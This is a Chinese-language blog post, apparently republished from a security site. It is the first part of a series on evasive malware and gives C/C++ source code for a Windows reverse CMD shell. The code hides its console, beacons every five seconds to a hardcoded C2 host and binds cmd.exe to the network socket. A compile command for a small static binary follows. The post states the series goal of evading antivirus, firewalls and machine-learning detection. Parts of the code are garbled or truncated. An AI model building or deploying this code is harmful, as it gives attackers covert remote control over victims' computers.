開掛的惡意軟體——Part 1:簡單的CMD反向shell
序言
如果您還沒有看過我的免殺技術視頻的話,不妨花點時間看一下:
1. Windows Cloud ML Defender Evasion
(https://vimeo.com/287893684)
2. Kaspersky AV Evasion
(https://vimeo.com/261693007)
除了上面視頻中的免殺技術之外,我還能夠繞過Symantec Endpoint Protection,跟McAfee一樣,該防護軟體也使用了機器學習技術。不過,這次不打算上傳視頻,而是決定寫一個全新的文章系列,分為3篇:
·開掛的惡意軟體,Part 1:簡單的CMD反向shell
·開掛的惡意軟體,Part 2:在模擬組織環境中繞過反病毒
·開掛的惡意軟體,Part 3:繞過機器學習檢測
需要說明的是,本系列文章對於初學者來說可能有些難度。要想順利閱讀本系列,讀者至少具備一些C/C++和Python方面的編程經驗。如果讀者想要了解關於編寫惡意軟體的基本知識,可以在這裡閱讀本人編寫的、關於惡意軟體開發的入門文章系列:NII-Checkmate,它專註於用Python3自定義的處理程序,通過C/C++語言使用Windows API,來打造自定義的惡意軟體。
在這篇文章中,我們將介紹一種基於C/C++語言的簡單反向CMD shell。請記住,這些代碼並沒有實現完美的隱身。在下一篇文章中,我將為讀者介紹如何編寫完全無法被Offline Antiviruses檢測到的企業級惡意軟體,以及如何編寫C/C++代碼,通過使用HTTP代替TCP代理、使用主機名而不是C2伺服器的IP地址來並規避防火牆檢測。在最後一篇文章中,我將為讀者介紹如何繞過使用機器學習來檢測可執行文件的異常行為的防病毒軟體。
我們的主要目標,是規避所有檢測技術,同時,讓可執行文件儘可能保持「苗條」。將來,隨著加密方法的引入,可執行文件的大小必將變得臃腫起來,為此,我們需要檢查使用了哪些外部庫,同時,還要關注代碼編譯方式是的靜態,還是動態的。對於下面的可執行文件,如果是使用g++編譯得到的話,大小應該在21Kb左右;如果在Linux中使用mingw交叉編譯器的話,得到的惡意軟體的大小是13Kb;如果使用cl,即Microsoft Compiler,得到的軟體的大小約87Kb左右,因為它會進行大量的代碼優化。此外,您既可以使用現成的netcat,也可以構建一個python伺服器來處理反向shell的通信。至於我,則使用Cython構建了一個C2伺服器,它使用多進程技術同時處理多個機器人;我已將其命名為Prometheus,眼尖的讀者可能已經從上圖中發現了。
廢話少說,讓我們進入正題......
#include
以下是我們需要用到的頭文件:
#include
#include
#include
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
在上面的代碼中,winsock2.h和ws2tcpip.h用於通過Windows套接字來處理TCP/IP通信。windows.h用於調用其他進程,引用其他頭文件和API。同時,#pragma comment(lib, 「Ws2_32.lib」) 的作用是通知編譯器將該庫靜態編譯為可執行文件。如果沒有這個語句,我們的可執行文件將無法在任何計算機上運行,除非相應的系統中安裝了Microsoft Visual C/C++可再發行組件。所以,由於我們不清楚目標系統的具體情況,因此最好在可執行文件中靜態鏈接這些庫,而不是動態鏈接它們,以便代碼能夠在所有機器上運行。最後,我們通過一個變數為套接字的recv和send函數定義了緩衝區長度,並用一個大小為1024位元組的常量為其賦值。
注意,如果您不使用Microsoft Compiler,則必須使用g++/mingw32-g++中的-lws2_32選項來靜態鏈接可執行文件。
在這裡,我們將整個代碼分成兩個函數:一個是主函數,另一個函數用於生成反向shell。下面,讓我們先來看看主函數。
main()
int main(int argc, char **argv) {
FreeConsole();
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "192.168.56.130";
int port = 8080;
RunShell(host, port);
}
return 0;
}
在上面的代碼中,main函數需要3個參數。同時,我打算通過FreeConsole()函數來禁用控制台窗口,以便讓用戶無法看到它。如果我們的程序收到了3個參數,則會使用第2個參數作為C2 IP,第3個參數作為C2埠。如果一個參數也沒有收到的話,它將使用硬編碼的主機和埠作為C2伺服器和埠,並將其轉發到另一個名為RunShell()的函數,該函數將運行一個反向shell。好了,我們現在來看看RunShell函數。
RunShell()
需要注意的是,必須確保我們的惡意軟體即使斷開連接也能繼續運行,無論是故意斷開還是由於失誤導致的斷開。因此,我們將使用while true循環和Sleep函數,這樣的話,即使我們斷開連接,它只是休眠幾秒鐘,然後會主動連接我們。這種行為稱為「beaconing」。在進行紅隊測試時,請確保使用基於時間的自定義beacon,以便在代理級別無法檢測到它。
void RunShell(char* C2Server, int C2Port) {
while(true) {
Sleep(5000); // 1000 = One Second
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit
") == 0) {
exit(0);
}
}
}
}
}
簡單來說,這個函數從main函數接收C2IP和C2Port的細節信息,然後,休眠5秒鐘,接著,開始初始化TCP/IP的套接字。這方面的內容,已經在上面提到的NII的惡意軟體開發文章中介紹過了。
最重要的代碼,是從第16行開始的。如果我們無法連接到伺服器,它將關閉套接字,並重複while循環。一旦我們連接到C2IP和C2Port,將等待接收需要通過網路發送的數據:甚至像換行這樣的數據也行。但是,如果我們收到長度為零的緩衝區(參加第24、25行),則表示套接字已斷開連接,我們將在5秒後再次進入休眠狀態,並重新建立連接。
第31行的作用,是生成shell。我們使用了一個名為Process的變數,其內容為字元串cmd.exe。然後,我們初始化了一個名為STARTUPINFO和PROCESS_INFORMATION的結構。其中,STARTUPINFO結構中包含有關在進程啟動之前應該注意的事項的詳細信息,而PROCESS_INFORMATION結構則包含有關新進程、父進程、子進程、其他線程及其運行方式的詳細信息。然而,這裡最重要的代碼在第37行,其作用是將mySocket轉換為HANDLE類型,並傳遞STARTUPINFO結構的所有輸入(hStdInput)、輸出(hStdOuput)和錯誤(hStdError)信息。在下一行,即第38行,則使用CreateProcess API來創建一個進程,該進程將使用上述變數來創建cmd.exe進程,並使用上面創建的&sinfo將輸入、輸出和錯誤信息傳遞給HANDLE。這個sinfo將通過套接字將所有數據發送到我們的C2Server,這樣的話,我們就能過查看在cmd進程中執行的命令的所有錯誤和輸出信息了。
接下來,我們要做的事情就是等待這個子進程(即cmd.exe)結束,並關閉進程句柄。最後,在第44行,我將再次等待緩衝區收到需要通過網路傳輸的數據。如果收到一個包含「exit
」的字元串,它就會退出套接字程序;否則,將繼續while循環。
您可以使用g++或mingw32-g++來編譯上面的惡意軟體,具體命令如下所示:
$ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
最終的源代碼,我們已經上傳到Github中。
小結
下面展示的是該軟體在Windows 7 VM上的運行情況。如果查看該惡意軟體的屬性,會發現它只有13KB,就像前面所說的那樣。
請記住,這裡只是惡意軟體的基本框架。在紅隊測試或APT場景中使用的惡意軟體,要求程序能夠自動檢測代理,使用HTTP/HTTPS/DNS/ICMP進行滲透,檢查代理憑據,繞過防火牆、IPS、終端保護、基於主機的IDS、沙箱、基於機器學習的防病毒軟體、DPI(深度包檢測)以及其他防護軟體。同時,還需要對可執行文件本身進行加密,以提高逆向工程師的工作難度。
到本系列文章結束時,我們將能夠繞過上述大部分檢測解決方案。


※加密貨幣挖礦殭屍通過潛在的垃圾網站攻擊運行SSH服務的設備
※靶機滲透測試實戰-hack the ch4inrulz
TAG:嘶吼RoarTalk |